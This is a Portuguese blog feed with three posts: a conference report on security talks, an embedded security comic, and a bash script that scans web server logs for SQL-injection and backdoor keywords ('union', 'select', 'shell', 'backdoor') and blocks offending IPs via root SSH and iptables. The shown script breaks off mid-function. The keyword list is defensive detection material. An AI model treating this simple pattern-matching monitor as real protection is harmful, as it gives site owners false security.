&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Primeira palestra do dia, hehehe, é sempre muito bom assistir as palestras e treinamentos do Rafael Soares, muito calmo, demonstra domínio completo do conteúdo apresentado, e sempre está disposto a trocar ideia com qualquer maluco que parar ele no corredor, é um carinha muito gente boa e sabe muito, sem falar que nunca é d+ saber alguma coisa a mais de Redes Sem Fio, assunto polemico e rende nota.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib8TJtdnueMTGMyxRloVUOePfLFRUKWLbIBihgW2EUfPABzpal0d9begfAINon7FT97sb9V0jfafqC9qRDSB2zCfJ80SRldfe219o0t8Ve6pKecZ8kjCODmxo-ExzhZxp7rcJljBx_024/s1600/PalestraClavis.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib8TJtdnueMTGMyxRloVUOePfLFRUKWLbIBihgW2EUfPABzpal0d9begfAINon7FT97sb9V0jfafqC9qRDSB2zCfJ80SRldfe219o0t8Ve6pKecZ8kjCODmxo-ExzhZxp7rcJljBx_024/s320/PalestraClavis.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Quando chegamos pela manhã, tivemos a oportunidade de falar um pouco com Bruno Salgado, Sócio e Diretor da Clavis a respeito do projeto&amp;nbsp;&lt;span style=&quot;background-color: white; color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; line-height: 19px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.wardrivingday.org/&quot; style=&quot;background-color: white; color: #394d4e; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: bold; line-height: 19px;&quot; target=&quot;_blank&quot;&gt;War Driving Day&lt;/a&gt;,&amp;nbsp;foi um momento bem legal, pois, tivemos um pouco do contato de como é organizar e trabalhar em um projeto deste.&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Lembramos de alguns treinamentos que realizei na Clavis faz alguns anos na UniRio e a Clavis estava começando a focar em treinamentos.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;b&gt;Governança de TI com Software Livre: 15h às 16h&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
ZZZZZZzzzzzzzZZZzZZZzzZzzzzZzZZZZZZZz &amp;nbsp;foi basicamente isso que aconteceu nesta palestra, particularmente não sei por que entramos, não faz o perfil de nenhum de nós, mas bem, o fabiano deu a cochilada que estava precisando recarregou a energia, e fomos para a palestra do Mercês, bom, ele dormiu na palestra do Mercês também, mas tudo bem Rodrigo e Eu ficamos ligado e olha o que aconteceu abaixo...&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Crédito da foto: Rodrigo &amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi01tNllz6QAnZrE8T2haEBrL4eF7MqAE9PzUt-LZnPZ3ZeHuQSVc4sBz3wzbsXCfTrkGSvxVLtOuneh1ptd_EL9YdzQ5DdsgizeHjwfY-mp2840W0lb1PJCDPwRfK8R5N9iboH4bTU13k/s1600/Imagem0167.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;190&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi01tNllz6QAnZrE8T2haEBrL4eF7MqAE9PzUt-LZnPZ3ZeHuQSVc4sBz3wzbsXCfTrkGSvxVLtOuneh1ptd_EL9YdzQ5DdsgizeHjwfY-mp2840W0lb1PJCDPwRfK8R5N9iboH4bTU13k/s200/Imagem0167.jpg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
Ok o fabiano vai ficar bravo comigo, mas fazer o que? amigo é para essas coisas mesmo, como ele consegue preservar a posição? só perde para os chineses, japoneses, coreanos e claro para o indianos.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
Rá !!!!!!!!! &amp;nbsp;eu sabia.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
&lt;b&gt;Analise de Memória no Linux: 16h às 17h&amp;nbsp;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Foi uma palestra muito legal, é uma área pouco abordada e tenho muito a aprender, já havia ouvido falar do Mercês e acompanho seu site e no twitter que é reconhecido como mentebinária ( que por sinal faz todo sentido ) &amp;nbsp; (; &amp;nbsp;demonstrou muito conhecimento a respeito do que estava falando e ainda tive a oportunidade de ser premiado.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggVgM27G-1mhamDN1XCdQ6cxESvdkDNgAP1KxVmsmsHAf2zp4giXlykLRU0WJjZMlRsrpSEYdukXQoWEQ8-VFH81XWcpsdYffkOxrZRbwJvOIzVxN9tLeTM9JM8uF3mN426DE-S906UfY/s1600/Merces&amp;amp;Wesley.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;300&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggVgM27G-1mhamDN1XCdQ6cxESvdkDNgAP1KxVmsmsHAf2zp4giXlykLRU0WJjZMlRsrpSEYdukXQoWEQ8-VFH81XWcpsdYffkOxrZRbwJvOIzVxN9tLeTM9JM8uF3mN426DE-S906UfY/s400/Merces&amp;amp;Wesley.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;span style=&quot;text-align: -webkit-auto;&quot;&gt;&amp;nbsp;faz alguns dias recebi a ligação da 4Linux confirmando minha inscrição no curso de Forense Computacional.&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;text-align: -webkit-auto;&quot;&gt;O sorteio foi realizado por Fernando Mercês ( @mentebinaria ) durante sua palestra de&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: orange; text-align: -webkit-auto;&quot;&gt;Aquisição e Analise de Memória no Linux.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: orange; text-align: -webkit-auto;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: orange; text-align: -webkit-auto;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: orange; text-align: -webkit-auto;&quot;&gt;fiquei pensando como ganhei esse sorteio, então lembrei da situação! no momento que estava fazendo a inscrição perguntei o rapaz:&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: orange; text-align: -webkit-auto;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - Posso fazer um FOR ou WHILE ?&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: orange;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; -( risadas ) &amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: orange;&quot;&gt;então fiz um tremendo for na &quot;parada&quot; e ganhei. &amp;nbsp;várias threads a ponto de me colocar na frente .. não tinha para os concorrentes.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
A situação foi no minimo estranha, o que estou falando é sério, quando ele estava retirando o papel da urna (saquinho) antes dele falar meu nome o ouvi falar meu nome, e quando finalmente saiu, eu dei um grito, que saiu la do fundo, &quot;SOU EU, VENCI IHE!!&quot; .. kra isso foi muito estranho, o importante é a vitória neste caso, esqueçamos este momento constrangedor e bizarro.&lt;br /&gt;
&lt;br /&gt;
Já faz um tempo que estou querendo fazer um curso de Forense, já havia feito um pequeno treinamento com o Rafael Soares da Clavis, mas foi bem básico mesmo, na época a Clavis nem havia aberto o curso ainda e foi muito interessante.&lt;br /&gt;
&lt;br /&gt;
/*&lt;br /&gt;
vou terminar por aqui..&amp;nbsp;tivemos diversas &amp;nbsp;outras coisas para relatar, como por exemplo o Fabiano ganhou uma caneca, Weyder ganhou um treinamento de certificação LPI e blalbalbal, este post estava ficando grande e &amp;nbsp;já fazia tempo que estava parado na lista aqui, devido ao pouco tempo e muitas atividades não tive tempo de publicar, vamos ver como será nos próximos meses. &amp;nbsp;&lt;br /&gt;
*/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://wesleyhenriqueleite.blogspot.com/feeds/6162875609113889454/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://wesleyhenriqueleite.blogspot.com/2012/05/volday3-o-que-aconteceu-la.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2537384307820372300/posts/default/6162875609113889454'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2537384307820372300/posts/default/6162875609113889454'/><link rel='alternate' type='text/html' href='http://wesleyhenriqueleite.blogspot.com/2012/05/volday3-o-que-aconteceu-la.html' title='VOLDAY3 o que aconteceu lá ?'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/14743264157748275917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFPLCxKMtrYAApsTcQsKtWaAdq_etfwQOIVk1f-ostpaP4un1c8A1ydhQc9b3R79wIJOVPEMC1kMD-tcsJinD9zNJosgwcOiNwvE_vwoQEpDxLERxh78jhrTg5GGYmOkDvbwxDlS8lyrg/s72-c/reduzir1.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2537384307820372300.post-3088751856287467366</id><published>2012-04-02T15:18:00.001-03:00</published><updated>2012-10-29T23:56:27.466-02:00</updated><title type='text'>Exploit de Uma Mãe</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWcbfVWEfXvKsPu3zm5FKa0AzFwREBSyVRZXCV81_LEUTL4twD-kHcXlJnje6RbwMiBYxhKQo46P55jbm_ZpijGX7-ifCfpWtua8FDrXs04eXVPvth-lrXY82mEpOUxX4fIT9YtpilN4U/s1600/exploits_of_a_mom.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;195&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWcbfVWEfXvKsPu3zm5FKa0AzFwREBSyVRZXCV81_LEUTL4twD-kHcXlJnje6RbwMiBYxhKQo46P55jbm_ZpijGX7-ifCfpWtua8FDrXs04eXVPvth-lrXY82mEpOUxX4fIT9YtpilN4U/s640/exploits_of_a_mom.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Fonte : &amp;nbsp;&lt;a href=&quot;http://www.seginfo.com.br/category/tirinhas/&quot;&gt;http://www.seginfo.com.br/category/tirinhas/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://wesleyhenriqueleite.blogspot.com/feeds/3088751856287467366/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://wesleyhenriqueleite.blogspot.com/2012/04/exploit-de-uma-mae.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2537384307820372300/posts/default/3088751856287467366'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2537384307820372300/posts/default/3088751856287467366'/><link rel='alternate' type='text/html' href='http://wesleyhenriqueleite.blogspot.com/2012/04/exploit-de-uma-mae.html' title='Exploit de Uma Mãe'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/14743264157748275917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWcbfVWEfXvKsPu3zm5FKa0AzFwREBSyVRZXCV81_LEUTL4twD-kHcXlJnje6RbwMiBYxhKQo46P55jbm_ZpijGX7-ifCfpWtua8FDrXs04eXVPvth-lrXY82mEpOUxX4fIT9YtpilN4U/s72-c/exploits_of_a_mom.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2537384307820372300.post-2670470653906927564</id><published>2012-03-28T14:12:00.005-03:00</published><updated>2012-03-28T14:23:16.250-03:00</updated><title type='text'>Monitorando suas aplicações WEB</title><content type='html'>&lt;br /&gt;
Tendo em vista que poucas pessoas tem o conhecimento de aplicativos WAF, resolvi publicar meu pequeno script, este não tem o intuito de substituir um verdadeiro Web Aplication Firewall, uma vez que não chega perto das funcionalidades empregradass por tais Aplicações, e muito menos ser a única solução para livra-lo de problemas.&lt;br /&gt;
&lt;br /&gt;
Um WAF de verdade é capaz de interceptar o trafego antes de gerar algum problema a sua aplicação e não é o caso deste.&lt;br /&gt;
&lt;br /&gt;
Um Firewall de Aplicações trabalha na Camada 7, seu objetivo é verificar strings ou assinaturas pré-definiads em sua base, de modo a tomar uma atitude, seja de bloquear ou simplemente emitir um alerta para uma analise posterior e então a ação deve ser tomada por você.&lt;br /&gt;
&lt;br /&gt;
Uma boa referencia de WAF é o mod_security um módulo para Apache.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Informações do Script:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
A funcionalidade do script basea-se na leitura dos logs tanto do Apache quanto do Lightttpd, o mesmo coleta as informações interpretadas pelo serviço que fornece o HTTP e julga se a informação é ou não irregular com base em uma variável declarada com o nome de &lt;span style=&quot;color: #76a5af;&quot;&gt;&lt;b&gt;LISTA&lt;/b&gt;&lt;/span&gt; que contem todas as strings definidas como não tolerável.&lt;br /&gt;
&lt;br /&gt;
&lt;code&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;LISTA=&quot;(union|drop|order|mysql|select|phpmyadmin|phpadmin|setup\.inc\.php|shell|backdoor|phpinfo)&quot;&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
O conteúdo desta pode ser incrementado ou removido de acordo com sua necessidade, basta seguir o padrão para adicionar e remover qualquer palavra.&lt;br /&gt;
&lt;br /&gt;
Temos uma outra sequência de varáveis que deve ser analisada caso deseje realiza o bloqueio automático.&lt;br /&gt;
são elas:&lt;br /&gt;
&lt;span style=&quot;color: #76a5af; font-family: monospace; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #76a5af; font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #76a5af; font-family: monospace;&quot;&gt;FW&lt;/span&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;=&quot;172.16.0.1&quot; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;br /&gt;
IP de meu Host Firewall, assumi que existe uma maquina na rede gerenciando os logs de seu servidor WEB, sendo assim ela deverá identificar a string e então conectar no firewall para realizar a operação de bloqueio. mude este IP para o IP de seu Server FW.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #76a5af; font-family: monospace;&quot;&gt;FWUSER&lt;/span&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;=&quot;root&quot;&lt;/span&gt;&lt;br /&gt;
O modo que o app irá se conectar a maquina FW é ssh e então rodar um comando nessa, utilize um user que tenha permissão de realizar essa operação, no meu caso assumi root, pois é a única maquina da rede que faz acesso root em meu HOST FW, o mesmo só pode ser acessado por minha maquina.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #76a5af; font-family: monospace;&quot;&gt;WWW&lt;/span&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;=&quot;172.16.0.2&quot;&lt;/span&gt;&lt;br /&gt;
IP de meu Servidor WEB, será util para limitar acesso somente ao ip e porta como demostrado posteriormente.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #76a5af; font-family: monospace;&quot;&gt;DP&lt;/span&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;=80&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;Porta que meu Servidor WEB está ouvindo.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #76a5af; font-family: monospace;&quot;&gt;BLOQUEAR&lt;/span&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;=0&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;Aqui defino se o bloqueio será realizado de modo automático ou manual, sendo essa variável definida como &lt;span style=&quot;color: red;&quot;&gt;0&lt;/span&gt; o script apenas emitirá alertas por email, sendo definido como &lt;span style=&quot;color: red;&quot;&gt;1&lt;/span&gt; ele emitirá alertas por email informado do bloqueio realizado.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;A Váriavel &lt;span style=&quot;color: #76a5af;&quot;&gt;ACSLOG&lt;/span&gt; pode ser tanto redirecionada para os logs do apache quanto para os logs do lighttpd, pois ambos seguem o mesmo padrão.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;A variável &lt;span style=&quot;color: #76a5af;&quot;&gt;SysAdmin&lt;/span&gt; deve ser preenchida com o email que deseja que receba as notificações.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;code&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;
#!/bin/bash&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;
#&lt;br /&gt;
# autor: Wesley Henrique Leite&lt;br /&gt;
# wesleyhenrique [0] gmail (&#39;) com&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;
#Apache2&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;
ACSLOG&lt;/span&gt;=&quot;/var/log/apache2/access_log&quot;&lt;br /&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;
#Lighttpd&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;
#ACSLOG=&quot;/var/log/lighttpd/access.log&quot;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;
FW&lt;/span&gt;=&quot;172.16.0.1&quot;&lt;br /&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;
FWUSER&lt;/span&gt;=&quot;root&quot;&lt;br /&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;
WWW&lt;/span&gt;=&quot;172.16.0.2&quot;&lt;br /&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;
DP&lt;/span&gt;=80&lt;br /&gt;
&lt;br /&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;
FILEBLOCK&lt;/span&gt;=&quot;/var/log/FWA_Block.log&quot;&lt;br /&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;
FILELOG&lt;/span&gt;=&quot;/var/log/FWA_String.log&quot;&lt;br /&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;
SysAdmin&lt;/span&gt;=&quot;SEU_EMAIL_AQUI&quot;&lt;br /&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;
# IMPLEMENTACAO DE BLOQUEIO AUTOMATICO SET 1&lt;br /&gt;
# PARA EMITIR APENAS ALERTA INFORME 0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;
BLOQUEAR&lt;/span&gt;=0&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;
# LISTA DE VARIAVEIS QUE DEVEM SER MONITORADAS&lt;br /&gt;
# ADICIONE REMOVA MAS SIGA O PADRAO&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;
LISTA&lt;/span&gt;=&quot;(union|drop|order|select|mysql|phpmyadmin|phpadmin|setup\.inc\.php|shell|backdoor|phpinfo)&quot;&lt;br /&gt;
&lt;br /&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;
# TOLERANCIA. ATE ESTE PONTO DE STRINGS EH ACEITAVEL ACIMA DISSO&lt;br /&gt;
# BLOQUEAR TRAFEGO.&lt;br /&gt;
# BASICAMENTE O SCRIPT IRÁ ChECAR SE O HOST JA SUBMETEU UMA QUANTIDADE&lt;br /&gt;
# DE STRINGS NAO TOLERAVEIS IGUAl OU MAIOR QUE A QUANTIDADE INFORMADA&lt;br /&gt;
# ABAIXO, SE MAIOR OU IGUAL BLOQUEIA, se VAR BLOQUEAR igual a 1&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;# CASO VAR BLOQUEAR igual a 0 APENAS ENVIARA UM EMAIL NOTIFICANDO&lt;/span&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;TOLERANCIA&lt;/span&gt;=4&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style=&quot;color: #e69138;&quot;&gt;
checar_eventos_de_host ()&lt;/span&gt; {&lt;br /&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;# FUNCAO RESPONSAVEL POR CHECAR SE O HOST JA TENTOU INJETAR QUALQUER&lt;br /&gt;# OUTRA STRING&lt;br /&gt;# SE CHEGOU EM LIMITE TOLERAVEL SERA BLOQUEADO DIRETO NO FW IMPEDINDO&lt;br /&gt;# O FORWARD ISSO SE VAR BLOQUEAR FOR IGUAL A 1 SE IGUAL A 0 ENVIARA&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;# UM EMAIL INFORMANDO QUE HOST JA ULTRAPASSO LIMITE&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&amp;nbsp;       &lt;/span&gt;if [ $( grep $1 &lt;span style=&quot;color: #cc0000;&quot;&gt;$FILELOG&lt;/span&gt; | wc -l ) -ge&lt;span style=&quot;color: #cc0000;&quot;&gt; $TOLERANCIA&lt;/span&gt; ]&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;        &lt;/span&gt;then&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;                &lt;/span&gt;test &lt;span style=&quot;color: #cc0000;&quot;&gt;$BLOQUEAR&lt;/span&gt; -eq 1 &amp;amp;&amp;amp; ( $( ssh &lt;span style=&quot;color: #cc0000;&quot;&gt;$FWUSER&lt;/span&gt;@&lt;span style=&quot;color: #cc0000;&quot;&gt;$FW&lt;/span&gt; iptables -I FORWARD -p tcp -s $1 --dport &lt;span style=&quot;color: #cc0000;&quot;&gt;$DP&lt;/span&gt; -d &lt;span style=&quot;color: #cc0000;&quot;&gt;$WWW&lt;/span&gt; -j DROP )&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;                &lt;/span&gt;echo &quot;BLOQUEADO - $1 &quot; &amp;gt;&amp;gt; &lt;span style=&quot;color: #cc0000;&quot;&gt;$FILEBLOCK&lt;/span&gt; &lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;                &lt;/span&gt;tail -1&lt;span style=&quot;color: #cc0000;&quot;&gt; $FILEBLOCK &lt;/span&gt;| mail -s &quot;FWA Bloqueou o IP [ $1 ] &quot; &lt;span style=&quot;color: #cc0000;&quot;&gt;$SysAdmin&lt;/span&gt; ) || ( mail -s &quot;FWA Alerta [&lt;span style=&quot;color: #cc0000;&quot;&gt; $1&lt;/span&gt; ] Ultrapasso LIMITE &quot;&lt;span style=&quot;color: #cc0000;&quot;&gt; $SysAdmin&lt;/span&gt; )&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fi&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style=&quot;color: #e69138;&quot;&gt;
testar_inject ()&lt;/span&gt; {&lt;br /&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;# TESTA SE FOI TENTADO INJETAR ALGUMA DAS STRINGS SETADO NA VARIAVEL $LISTA SE SIM 1 SE NAO 0&lt;/span&gt;&lt;br /&gt;
